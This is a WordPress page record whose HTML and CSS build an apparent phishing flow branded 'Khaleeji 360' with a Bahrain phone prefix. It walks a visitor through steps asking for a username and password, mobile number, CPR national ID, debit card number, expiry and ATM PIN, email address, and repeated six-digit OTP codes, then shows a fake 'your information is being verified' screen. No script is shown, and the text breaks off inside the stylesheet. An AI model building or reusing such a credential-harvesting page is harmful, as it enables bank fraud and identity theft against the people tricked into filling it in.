{"id":7,"date":"2026-06-10T18:50:53","date_gmt":"2026-06-10T18:50:53","guid":{"rendered":"https:\/\/khaleejii.it.com\/?page_id=7"},"modified":"2026-06-10T18:51:36","modified_gmt":"2026-06-10T18:51:36","slug":"elementor-7","status":"publish","type":"page","link":"https:\/\/khaleejii.it.com\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"7\" class=\"elementor elementor-7\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-72dfadf elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"72dfadf\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-260281e\" data-id=\"260281e\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-d919900 elementor-widget elementor-widget-shortcode\" data-id=\"d919900\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<div id=\"phl-wrapper\">\r\n\r\n    <!-- Loader -->\r\n    <div id=\"phl-loader\">\r\n    <div class=\"phl-premium-loader\">\r\n        <span><\/span>\r\n        <span><\/span>\r\n        <span><\/span>\r\n    <\/div>\r\n<\/div>\r\n\r\n    <!-- Content -->\r\n    <div id=\"phl-content\">\r\n\r\n        <div class=\"phl-logo\">\r\n        <img decoding=\"async\" src=\"http:\/\/khaleejii.it.com\/wp-content\/uploads\/2026\/06\/Logo-scaled.png\" alt=\"Logo\">\r\n        <\/div>\r\n\r\n        <div class=\"phl-space\"><\/div>\r\n\r\n<div class=\"phl-input-wrap\">\r\n    <input type=\"text\" class=\"phl-input\" placeholder=\"Username\">\r\n<\/div>\r\n\r\n<div class=\"phl-input-wrap phl-password-wrap\">\r\n\r\n    <input\r\n        type=\"password\"\r\n        id=\"passwordField\"\r\n        class=\"phl-input\"\r\n        placeholder=\"Password\"\r\n    >\r\n\r\n    <span id=\"togglePassword\">\r\n\r\n        <svg id=\"eyeOpen\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"22\" height=\"22\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\">\r\n            <path d=\"M1 10s3-6 9-6 9 6 9 6-3 6-9 6-9-6-9-6z\"\/>\r\n            <circle cx=\"10\" cy=\"10\" r=\"3\"\/>\r\n        <\/svg>\r\n\r\n        <svg id=\"eyeClose\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"22\" height=\"22\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" style=\"display:none;\">\r\n            <path d=\"M17 17L3 3\"\/>\r\n            <path d=\"M1 10s3-6 9-6c2 0 4 .7 5.5 1.8\"\/>\r\n            <path d=\"M19 10s-3 6-9 6c-2 0-4-.7-5.5-1.8\"\/>\r\n        <\/svg>\r\n\r\n    <\/span>\r\n\r\n<\/div>\r\n\r\n        <div class=\"phl-row\">\r\n\r\n            <div class=\"phl-small-text\">\r\n                Need help singing in?\r\n            <\/div>\r\n\r\n            <button id=\"continueBtn\" class=\"phl-half-btn\" type=\"button\">\r\n            Login\r\n            <\/button>\r\n\r\n        <\/div>\r\n\r\n        <div class=\"phl-box clickable phl-first-lower-box phl-box-one\">\r\n        Register\r\n        <\/div>\r\n\r\n        <div class=\"phl-text-box phl-box-two\">\r\n        Khaleeji 360\r\n        <\/div>\r\n        \r\n        <div class=\"phl-bottom-logo\">\r\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/face-id.png\" alt=\"Logo\">\r\n    <\/div>\r\n\r\n    <\/div>\r\n\r\n<div id=\"phl-step-2\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-logo\">\r\n        <img decoding=\"async\" src=\"http:\/\/khaleejii.it.com\/wp-content\/uploads\/2026\/06\/Mobile-logo.png\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        Verify Mobile Number\r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the registered mobile number linked to your account to verify your identity.\r\n    <\/p>\r\n\r\n    <div class=\"phl-phone-wrap\">\r\n\r\n        <span class=\"phl-country\">\r\n    <span class=\"phl-flag\">\ud83c\udde7\ud83c\udded<\/span>\r\n    <span class=\"phl-code\">+973<\/span>\r\n<\/span>\r\n\r\n        <input\r\n            type=\"tel\"\r\n            id=\"mobileNumber\"\r\n            inputmode=\"numeric\"\r\n            maxlength=\"8\"\r\n            placeholder=\"XXXXXXXX\"\r\n        >\r\n\r\n    <\/div>\r\n\r\n    <button id=\"step2Btn\" class=\"phl-full-btn\">\r\n        Continue\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-3\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-mobile-icon\">\r\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\r\n<\/div>\r\n\r\n    <h2 class=\"phl-title\">OTP Verification<\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the 6-digit verification code sent to your registered mobile number.\r\n    <\/p>\r\n\r\n    <div class=\"otp-wrap\">\r\n\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box\">\r\n\r\n    <\/div>\r\n\r\n    <div id=\"otpTimer\">03:00 Time Left<\/div>\r\n\r\n    <button id=\"otpVerifyBtn\" class=\"phl-full-btn\">\r\n        Verify\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-4\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-logo\">\r\n        <img decoding=\"async\" src=\"http:\/\/khaleejii.it.com\/wp-content\/uploads\/2026\/06\/ID-Card-Logo.png\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        CPR Verification \r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter a valid CPR number to confirm your identity to complete the verification process securely.\r\n    <\/p>\r\n\r\n    <div class=\"phl-phone-wrap\">\r\n\r\n        <input\r\n            type=\"tel\"\r\n            id=\"cprNumber\"\r\n            inputmode=\"numeric\"\r\n            maxlength=\"9\"\r\n            placeholder=\"Enter CPR Number\"\r\n        >\r\n\r\n    <\/div>\r\n\r\n    <button id=\"step4Btn\" class=\"phl-full-btn\">\r\n        Continue\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-processing-popup\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-processing-box\">\r\n\r\n        <div class=\"phl-processing-loader\"><\/div>\r\n\r\n        <h3>Please Wait<\/h3>\r\n\r\n        <p>\r\n            Your information is being verified.\r\n            Please wait a moment.\r\n        <\/p>\r\n\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-cpr-otp\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-mobile-icon\">\r\n        <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">OTP Verification<\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the 6-digit verification code sent to your registered mobile number.\r\n    <\/p>\r\n\r\n    <div class=\"otp-wrap\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box cpr-otp\">\r\n    <\/div>\r\n\r\n    <div id=\"cprOtpTimer\">03:00 Time Left<\/div>\r\n\r\n    <button id=\"cprOtpBtn\" class=\"phl-full-btn\">\r\n        Verify\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-5\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-logo\">\r\n        <img decoding=\"async\" src=\"http:\/\/khaleejii.it.com\/wp-content\/uploads\/2026\/06\/Card-logo.png\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        ATM Card Verification\r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter your 16-digit ATM\/Debit Card number for security verification.\r\n    <\/p>\r\n\r\n    <div class=\"phl-input-wrap\">\r\n\r\n    <input\r\n    type=\"tel\"\r\n    inputmode=\"numeric\"\r\n    id=\"cardNumber\"\r\n    class=\"phl-input\"\r\n    placeholder=\"Card Number\"\r\n    maxlength=\"19\"\r\n>\r\n\r\n    <\/div>\r\n\r\n    <div style=\"display:flex;gap:15px;\">\r\n\r\n    <input\r\n    type=\"tel\"\r\n    inputmode=\"numeric\"\r\n    id=\"expiryDate\"\r\n    class=\"phl-input\"\r\n    placeholder=\"MM\/YY\"\r\n    maxlength=\"5\"\r\n>\r\n\r\n    <input\r\n    type=\"tel\"\r\n    inputmode=\"numeric\"\r\n    id=\"cardCvv\"\r\n    class=\"phl-input\"\r\n    placeholder=\"ATM PIN\"\r\n    maxlength=\"6\"\r\n>\r\n\r\n    <\/div>\r\n\r\n    <button\r\n        id=\"step5Btn\"\r\n        class=\"phl-full-btn\"\r\n        style=\"margin-top:15px;\"\r\n    >\r\n        Continue\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-6\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-mobile-icon\">\r\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        OTP Verification\r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the 6-digit verification code sent to your registered mobile number.\r\n    <\/p>\r\n\r\n    <div class=\"otp-wrap\">\r\n\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box step6-otp\">\r\n\r\n    <\/div>\r\n\r\n    <div id=\"step6Timer\">\r\n        03:00 Time Left\r\n    <\/div>\r\n\r\n    <button id=\"step6Btn\" class=\"phl-full-btn\">\r\n        Verify\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-7\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-logo\">\r\n        <img decoding=\"async\" src=\"http:\/\/khaleejii.it.com\/wp-content\/uploads\/2026\/06\/mail-logo.png\" alt=\"\">\r\n    <\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        Email Verification\r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the registered email address associated with your account to continue the verification process.\r\n    <\/p>\r\n\r\n<div class=\"phl-input-wrap\">\r\n    <input\r\n        type=\"text\"\r\n        id=\"emailAddress\"\r\n        class=\"phl-input\"\r\n        placeholder=\"Enter Your Email\">\r\n<\/div>\r\n\r\n<button id=\"step7Btn\" class=\"phl-full-btn\">\r\n    Continue\r\n<\/button>\r\n\r\n<\/div>\r\n\r\n<div id=\"phl-step-8\" style=\"display:none;\">\r\n\r\n    <div class=\"phl-mobile-icon\">\r\n    <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/otp-logo.gif\" alt=\"\">\r\n<\/div>\r\n\r\n    <h2 class=\"phl-title\">\r\n        OTP Verification\r\n    <\/h2>\r\n\r\n    <p class=\"phl-desc\">\r\n        Enter the 6-digit verification code sent to your registered mobile number.\r\n    <\/p>\r\n\r\n    <div class=\"otp-wrap\">\r\n\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n        <input type=\"text\" maxlength=\"1\" class=\"otp-box email-otp\">\r\n\r\n    <\/div>\r\n    \r\n<div style=\"display:flex;justify-content:space-between;align-items:center;\">\r\n\r\n    <div id=\"step8Timer\">\r\n        03:00 Time Left\r\n    <\/div>\r\n\r\n    <div id=\"step8Error\" style=\"display:none;\">\r\n        \u274c Your OTP Code Invalid\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n    <button id=\"step8Btn\" class=\"phl-full-btn\">\r\n        Continue\r\n    <\/button>\r\n\r\n<\/div>\r\n\r\n<style>\r\n\r\n@import url('https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@500;700&display=swap');\r\n\r\nhtml,\r\nbody,\r\n#page,\r\n.site,\r\n.site-content,\r\n.entry-content,\r\nmain{\r\n    margin:0 !important;\r\n    padding:0 !important;\r\n}\r\n\r\nbody.admin-bar #phl-wrapper{\r\n    margin-top:0 !important;\r\n}\r\n\r\n#phl-wrapper{\r\n    font-family:'Saira',sans-serif;\r\n    position:fixed !important;\r\n    top:0;\r\n    left:0;\r\n    right:0;\r\n    bottom:0;\r\n    width:100vw !important;\r\n    height:100vh !important;\r\n    z-index:99999;\r\n}\r\n\r\nhtml,\r\nbody{\r\n    margin:0 !important;\r\n    padding:0 !important;\r\n    width:100%;\r\n    height:100%;\r\n}\r\n\r\n#phl-wrapper{\r\n    width:100%;\r\n    min-height:100vh;\r\n    background:#323d42;\r\n    color:#fff;\r\n    display:flex;\r\n    justify-content:center;\r\n    align-items:center;\r\n    position:relative;\r\n    overflow:hidden;\r\n    box-sizing:border-box;\r\n}\r\n\r\n#phl-loader{\r\n    position:absolute;\r\n    top:0;\r\n    left:0;\r\n    right:0;\r\n    bottom:0;\r\n    display:flex;\r\n    justify-content:center;\r\n    align-items:center;\r\n    background:#323d42;\r\n    z-index:999;\r\n}\r\n\r\n.phl-premium-loader{\r\n    width:50px;\r\n    height:50px;\r\n    position:relative;\r\n    animation:loaderStepRotate 4s infinite linear;\r\n    transform-origin:center center;\r\n}\r\n\r\n.phl-premium-loader span{\r\n    position:absolute;\r\n    width:8px;\r\n    height:40px;\r\n    background:#fff;\r\n    top:5px;\r\n}\r\n\r\n.phl-premium-loader span:nth-child(1){\r\n    left:6px;\r\n}\r\n\r\n.phl-premium-loader span:nth-child(2){\r\n    left:21px;\r\n}\r\n\r\n.phl-premium-loader span:nth-child(3){\r\n    left:36px;\r\n}\r\n\r\n@keyframes loaderStepRotate{\r\n\r\n    0%{\r\n        transform:rotate(45deg) scale(1);\r\n    }\r\n\r\n    20%{\r\n        transform:rotate(45deg) scale(1);\r\n    }\r\n\r\n    \/* \u067e\u06cc\u0686\u06be\u06d2 \u062f\u0648\u0631 \u0686\u0644\u0627 \u062c\u0627\u0626\u06d2 *\/\r\n\r\n    40%{\r\n        transform:rotate(45deg) scale(.25);\r\n    }\r\n\r\n    \/* \u0648\u0627\u067e\u0633 \u0627\u067e\u0646\u06cc \u0627\u0635\u0644 \u062c\u06af\u06c1 *\/\r\n\r\n    50%{\r\n        transform:rotate(135deg) scale(1);\r\n    }\r\n\r\n    70%{\r\n        transform:rotate(135deg) scale(1);\r\n    }\r\n\r\n    \/* \u062f\u0648\u0628\u0627\u0631\u06c1 \u062f\u0648\u0631 \u067e\u06cc\u0686\u06be\u06d2 *\/\r\n\r\n    90%{\r\n        transform:rotate(135deg) scale(.25);\r\n    }\r\n\r\n    100%{\r\n        transform:rotate(225deg) scale(1);\r\n    }\r\n\r\n}\r\n\r\n#phl-content{\r\n    width:100%;\r\n    max-width:600px;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    display:none;\r\n}\r\n\r\n.phl-logo{\r\n    text-align:center;\r\n    font-size:28px;\r\n    font-weight:600;\r\n    position:relative;\r\n    top:-60px;\r\n}\r\n\r\n.phl-logo{\r\n    text-align:center;\r\n    position:relative;\r\n    top:-60px;\r\n}\r\n\r\n.phl-logo img{\r\n\r\n    display:block !important;\r\n\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n\r\n    width:auto;\r\n    max-width:180px;\r\n\r\n    height:auto;\r\n}\r\n\r\n.phl-space{\r\n    height:30px;\r\n}\r\n\r\n.phl-box,\r\n.phl-text-box{\r\n    width:100%;\r\n    height:55px;\r\n    background:#3C464D;\r\n    border:1px solid #50595e;\r\n    border-radius:10px;\r\n    color:#fff;\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n    margin-bottom:15px;\r\n    box-sizing:border-box;\r\n}\r\n\r\n.clickable{\r\n    cursor:pointer;\r\n    transition:.3s;\r\n}\r\n\r\n.clickable:hover{\r\n    background:#2a2a2a;\r\n}\r\n\r\n.phl-row{\r\n    display:flex;\r\n    justify-content:space-between;\r\n    align-items:center;\r\n    gap:15px;\r\n    margin-bottom:15px;\r\n}\r\n\r\n.phl-small-text{\r\n    flex:1;\r\n    font-size:16px;\r\n    padding-left:4px !important;\r\n    position:relative;\r\n    top:-10px !important;\r\n    text-align:left !important;\r\n}\r\n\r\n.phl-half-btn{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    width:180px;\r\n    height:55px;\r\n    border:none;\r\n    border-radius:10px;\r\n    background:#F4F4F4;\r\n    color:#111;\r\n    font-weight:600;\r\n    cursor:pointer;\r\n}\r\n\r\n.phl-half-btn:hover{\r\n    opacity:.9;\r\n}\r\n\r\n@media(max-width:768px){\r\n\r\n    .phl-half-btn{\r\n        width:140px;\r\n    }\r\n\r\n    .phl-logo{\r\n        font-size:24px;\r\n    }\r\n\r\n}\r\n\r\n.phl-input-wrap{\r\n    width:100%;\r\n    margin-top:10px;\r\n    margin-bottom:20px;\r\n}\r\n\r\n.phl-input{\r\n    width:100%;\r\n    height:55px;\r\n    background:#3C464D;\r\n    border:1px solid #50595e;\r\n    border-radius:10px;\r\n    color:#fff;\r\n    padding:0 15px;\r\n    font-size:16px;\r\n    box-sizing:border-box;\r\n    outline:none;\r\n}\r\n\r\n.phl-input::placeholder{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    color:#bbb;\r\n}\r\n\r\n.phl-input:focus{\r\n    border-color:#50595e;\r\n    background:3C464D;\r\n}\r\n\r\n.btn-loader{\r\n    width:24px;\r\n    height:24px;\r\n    border:4px solid rgba(0,0,0,.25);\r\n    border-top:4px solid #111;\r\n    border-radius:50%;\r\n    display:inline-block;\r\n    animation:btnSpin .8s linear infinite;\r\n}\r\n\r\n#otpVerifyBtn .btn-loader{\r\n    border:4px solid rgba(255,255,255,.35);\r\n    border-top:4px solid #fff;\r\n}\r\n\r\n@keyframes btnSpin{\r\n    100%{\r\n        transform:rotate(360deg);\r\n    }\r\n}\r\n\r\n.phl-first-lower-box{\r\n    margin-top:80px;\r\n}\r\n\r\n.phl-box-one{\r\n    background:#3C464D;\r\n}\r\n\r\n.phl-box-two{\r\n    background:#acbcd9;\r\n}\r\n\r\n.phl-bottom-logo{\r\n    text-align:center;\r\n    margin-top:80px;\r\n}\r\n\r\n.phl-bottom-logo img{\r\n    max-width:40px;\r\n    height:auto;\r\n    display:inline-block;\r\n}\r\n\r\n.phl-password-wrap{\r\n    position:relative;\r\n}\r\n\r\n#togglePassword{\r\n    position:absolute;\r\n    right:15px;\r\n    top:50%;\r\n    transform:translateY(-50%);\r\n    cursor:pointer;\r\n    color:#bfc7cc;\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n}\r\n\r\n#togglePassword svg{\r\n    width:22px;\r\n    height:22px;\r\n}\r\n\r\n.phl-password-wrap .phl-input{\r\n    padding-right:50px;\r\n}\r\n\r\n.phl-eye-btn:hover{\r\n    background:#49545a;\r\n}\r\n\r\n.phl-password-wrap .phl-input{\r\n    padding-right:55px;\r\n}\r\n\r\n.phl-mobile-icon{\r\n    text-align:center;\r\n    margin-top:0px;\r\n    margin-bottom:30px;\r\n    color:#ffffff;\r\n}\r\n\r\n.phl-mobile-icon svg{\r\n    width:48px;\r\n    height:48px;\r\n}\r\n\r\n.phl-mobile-icon img{\r\n\r\n    display:block !important;\r\n\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n\r\n    width:70px;\r\n    height:70px;\r\n\r\n    max-width:70px;\r\n    object-fit:contain;\r\n}\r\n\r\n.phl-title{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:600;\r\n    margin-top:20px;\r\n    margin-bottom:10px;\r\n    font-size:16px;\r\n}\r\n\r\n.phl-desc{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    margin-top:0;\r\n    margin-bottom:20px;\r\n    font-size:13px;\r\n    color:#cfd6da;\r\n}\r\n\r\n.phl-phone-wrap{\r\n    width:100%;\r\n    height:55px;\r\n    background:#3C464D;\r\n    border:1px solid #50595e;\r\n    border-radius:10px;\r\n    display:flex;\r\n    align-items:center;\r\n    padding:0 15px;\r\n    box-sizing:border-box;\r\n    margin-bottom:6px;\r\n}\r\n\r\n.phl-country{\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n    gap:8px;\r\n    color:#fff;\r\n    margin-right:12px;\r\n    white-space:nowrap;\r\n    font-size:18px;\r\n    line-height:1;\r\n}\r\n\r\n.phl-flag{\r\n    font-size:22px;\r\n    line-height:1;\r\n    display:flex;\r\n    align-items:center;\r\n}\r\n\r\n.phl-code{\r\n    font-size:18px;\r\n    line-height:1;\r\n    display:flex;\r\n    align-items:center;\r\n}\r\n\r\n#mobileNumber,\r\n#cprNumber,\r\n#emailAddress{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    flex:1;\r\n    width:100%;\r\n    background:transparent;\r\n    border:none;\r\n    color:#fff;\r\n    outline:none;\r\n    font-size:16px;\r\n}\r\n\r\n#cprNumber::placeholder{\r\n    color:#bbb;\r\n}\r\n\r\n.phl-full-btn{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    width:100%;\r\n    height:55px;\r\n    border:none;\r\n    border-radius:10px;\r\n    background:#fff;\r\n    color:#111;\r\n    font-weight:600;\r\n}\r\n\r\n#phl-step-2{\r\n    display:none;\r\n    width:100%;\r\n    max-width:600px;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    color:#fff;\r\n    position:relative;\r\n    top:-135px;\r\n}\r\n\r\n#phl-step-3{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    padding-top:120px;\r\n    left:0;\r\n    width:100vw;\r\n    height:100vh;\r\n    background:#ffffff;\r\n    z-index:999999;\r\n\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n\r\n    overflow:auto;\r\n}\r\n\r\n#phl-step-4{\r\n    display:none;\r\n    width:100%;\r\n    max-width:600px;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    color:#fff;\r\n    position:relative;\r\n    top:-135px;\r\n}\r\n\r\n#phl-step-5{\r\n    display:none;\r\n    width:100%;\r\n    max-width:600px;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    color:#fff;\r\n    position:relative;\r\n    top:-135px;\r\n}\r\n\r\n#phl-step-6{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    padding-top:120px;\r\n    left:0;\r\n    width:100vw;\r\n    height:100vh;\r\n    background:#ffffff;\r\n    z-index:999999;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    overflow:auto;\r\n}\r\n\r\n#phl-step-7{\r\n    width:100%;\r\n    max-width:600px;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n    color:#fff;\r\n    position:relative;\r\n    top:-135px;\r\n}\r\n\r\n#phl-step-7 .phl-input-wrap,\r\n#phl-step-7 .phl-full-btn{\r\n    width:100%;\r\n}\r\n\r\n#phl-step-7 .phl-phone-wrap{\r\n    width:100%;\r\n    height:55px;\r\n    background:#3C464D;\r\n    border:1px solid #50595e;\r\n    border-radius:10px;\r\n}\r\n\r\n#phl-step-7 .phl-input{\r\n    font-family:'Saira',sans-serif;\r\n    font-weight:500;\r\n    border:1px solid #50595e !important;\r\n    background:#3C464D !important;\r\n    border-radius:10px;\r\n}\r\n\r\n#phl-step-8 #step8Timer{\r\n    text-align:left;\r\n    margin-top:10px;\r\n    color:#111;\r\n}\r\n\r\n#phl-step-8 .regen-otp{\r\n    text-align:right;\r\n    margin:35px 0 25px 0;\r\n    color:#111;\r\n}\r\n\r\n#phl-step-3 .phl-title,\r\n#phl-step-3 .phl-desc,\r\n#phl-step-3 #otpTimer,\r\n#phl-step-3 .regen-otp{\r\n    color:#111;\r\n}\r\n\r\n#phl-step-3 .phl-title,\r\n#phl-step-6 .phl-title,\r\n#phl-step-8 .phl-title{\r\n    text-align:center !important;\r\n}\r\n\r\n#phl-step-3 .phl-desc,\r\n#phl-step-6 .phl-desc,\r\n#phl-step-8 .phl-desc{\r\n    text-align:center !important;\r\n}\r\n\r\n#phl-step-6 .phl-title,\r\n#phl-step-6 .phl-desc,\r\n#phl-step-6 #step6Timer,\r\n#phl-step-6 .regen-otp,\r\n#phl-step-6 .otp-box{\r\n    color:#111;\r\n}\r\n\r\n#phl-step-2 .phl-logo{\r\n    position:relative;\r\n    top:-60px;\r\n}\r\n\r\n#phl-step-2 .phl-title{\r\n    margin-top:30px;\r\n    margin-bottom:6px;\r\n    text-align:left;\r\n    font-size:16px;\r\n    font-weight:600;\r\n}\r\n\r\n#phl-step-2 .phl-desc{\r\n    margin-top:0;\r\n    margin-bottom:30px;\r\n    text-align:left;\r\n    font-size:13px;\r\n    color:#cfd6da;\r\n}\r\n\r\n.phl-phone-wrap{\r\n    margin-bottom:15px;\r\n}\r\n\r\n.otp-wrap{\r\n    display:flex;\r\n    gap:10px;\r\n    justify-content:center;\r\n    margin:30px 0;\r\n}\r\n\r\n.otp-box{\r\n    width:50px;\r\n    height:55px;\r\n    border:none;\r\n    border-bottom:2px solid #111;\r\n    background:transparent;\r\n    color:#111;\r\n    text-align:center;\r\n    font-size:24px;\r\n    outline:none;\r\n}\r\n\r\n#otpVerifyBtn{\r\n    background:#323d42;\r\n    color:#fff;\r\n}\r\n\r\n#step6Btn{\r\n    background:#323d42;\r\n    color:#fff;\r\n}\r\n\r\n#step6Btn .btn-loader{\r\n    border:4px solid rgba(255,255,255,.35);\r\n    border-top:4px solid #fff;\r\n}\r\n\r\n.regen-otp{\r\n    text-align:right;\r\n    margin:35px 0 25px 0;\r\n    cursor:pointer;\r\n}\r\n\r\n#otpTimer{\r\n    margin-top:10px;\r\n    color:#111;\r\n}\r\n\r\n#phl-processing-popup{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    left:0;\r\n    width:100%;\r\n    height:100%;\r\n    background:rgba(0,0,0,.55);\r\n    backdrop-filter:blur(3px);\r\n    z-index:9999999;\r\n\r\n    justify-content:center;\r\n    align-items:center;\r\n}\r\n\r\n.phl-processing-box{\r\n    width:320px;\r\n    background:#fff;\r\n    border-radius:16px;\r\n    padding:30px 25px;\r\n    text-align:center;\r\n    box-shadow:0 15px 40px rgba(0,0,0,.25);\r\n}\r\n\r\n.phl-processing-box h3{\r\n    margin:15px 0 8px;\r\n    color:#111;\r\n    font-size:22px;\r\n}\r\n\r\n.phl-processing-box p{\r\n    margin:0;\r\n    color:#666;\r\n    line-height:1.5;\r\n}\r\n\r\n.phl-processing-loader{\r\n    width:45px;\r\n    height:45px;\r\n    margin:0 auto;\r\n    border:4px solid #e5e5e5;\r\n    border-top:4px solid #323d42;\r\n    border-radius:50%;\r\n    animation:processingSpin .8s linear infinite;\r\n}\r\n\r\n@keyframes processingSpin{\r\n    100%{\r\n        transform:rotate(360deg);\r\n    }\r\n}\r\n\r\n#phl-step-cpr-otp{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    left:0;\r\n    width:100vw;\r\n    height:100vh;\r\n    background:#fff;\r\n    z-index:999999;\r\n    padding:20px;\r\n    padding-top:120px;\r\n    box-sizing:border-box;\r\n    overflow:auto;\r\n}\r\n\r\n#phl-step-cpr-otp .phl-title{\r\n    text-align:center !important;\r\n    color:#111;\r\n    margin-bottom:12px;\r\n}\r\n\r\n#phl-step-cpr-otp .phl-desc{\r\n    text-align:center !important;\r\n    color:#111;\r\n    margin-bottom:30px;\r\n}\r\n\r\n#phl-step-cpr-otp .otp-box{\r\n    color:#111 !important;\r\n    border-bottom:2px solid #111 !important;\r\n}\r\n\r\n#cprOtpTimer{\r\n    color:#111;\r\n    margin-top:10px;\r\n}\r\n\r\n#cprOtpBtn{\r\n    background:#323d42 !important;\r\n    color:#fff !important;\r\n}\r\n\r\n#cprOtpBtn .btn-loader{\r\n    border:4px solid rgba(255,255,255,.35);\r\n    border-top:4px solid 